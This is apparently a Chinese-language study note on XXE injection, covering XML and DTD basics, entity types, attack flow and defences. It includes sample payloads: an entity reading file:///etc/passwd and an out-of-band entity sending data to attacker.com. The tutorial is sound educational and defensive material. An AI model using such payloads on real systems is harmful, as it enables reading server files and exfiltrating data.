No.17 笔记 | XXE漏洞：XML外部实体注入攻击

1. XXE漏洞概览

XXE（XML External Entity）是一种允许攻击者干扰应用程序对XML输入处理的漏洞。

1.1 XXE漏洞比喻

想象XML解析器是一个听话的机器人，而XXE就是利用这个机器人的"过分听话"来获取不应该获取的信息。

1.2 XXE漏洞危害

危害类型	描述
文件读取	读取服务器上的任意文件
命令执行	在服务器上执行系统命令
网络探测	探测内网端口和攻击内网网站
拒绝服务	导致系统资源耗尽
数据泄露	可能导致敏感信息泄露和财务损失

2. XML和DTD基础

2.1 XML结构

<?xml version="1.0" encoding="UTF-8"?> 
<root> 
    <element attribute="value">Content</element> 
</root>

2.2 DTD（文档类型定义）

DTD定义XML文档的结构和合法元素。

DTD声明方式

内部声明：在XML文档内部定义DTD
外部声明：引用外部DTD文件

DTD示例

<!DOCTYPE note [ 
    <!ELEMENT note (to,from,heading,body)> 
    <!ELEMENT to (#PCDATA)> 
    <!ELEMENT from (#PCDATA)> 
    <!ELEMENT heading (#PCDATA)> 
    <!ELEMENT body (#PCDATA)> 
]>

3. XML实体：XXE的核心

3.1 实体类型对比

特征	内部实体	外部实体	参数实体	普通实体
定义位置	DTD内部	外部文件	DTD内部	DTD内部
引用符号	&实体名;	&实体名;	%实体名;	&实体名;
使用范围	XML文档中	XML文档中	仅DTD中	XML文档中
安全风险	低	高	高	低

3.2 实体示例

<!-- 内部实体 --> 
    <!ENTITY writer "Donald Duck"> 

<!-- 外部实体 --> 
    <!ENTITY copyright SYSTEM "http://www.example.com/copyright.xml"> 

<!-- 参数实体 --> 
    <!ENTITY % entity "<!ENTITY externalEntity SYSTEM 'file:///etc/passwd'>"> 

<!-- 普通实体 -->     
    <!ENTITY normalEntity "This is a normal entity">

4. XXE攻击原理和类型

4.1 基本攻击流程

攻击者创建包含恶意外部实体的XML
应用程序解析该XML
解析器处理外部实体，执行非预期操作

4.2 XXE攻击类型对比

攻击类型	描述	示例
基于错误的XXE	利用错误消息泄露信息	`<!ENTITY xxe SYSTEM "file:///nonexistent">`
带外数据的XXE (OOB-XXE)	将数据发送到攻击者服务器	`<!ENTITY xxe SYSTEM "http://attacker.com/collect?data=">`
基于盲XXE	不直接返回响应，但影响应用行为	使用参数实体和条件语句

5. XXE防御策略

防御策略	描述	实现方法
禁用外部实体	在XML解析器中禁用DTD处理	配置解析器安全选项
输入验证	严格验证和过滤所有XML输入	使用白名单方法验证XML结构
使用安全配置	正确配置XML解析器的安全选项	查阅并应用解析器的安全最佳实践
使用替代格式	考虑使用JSON等不易受XXE影响的格式	将数据交换格式从XML迁移到JSON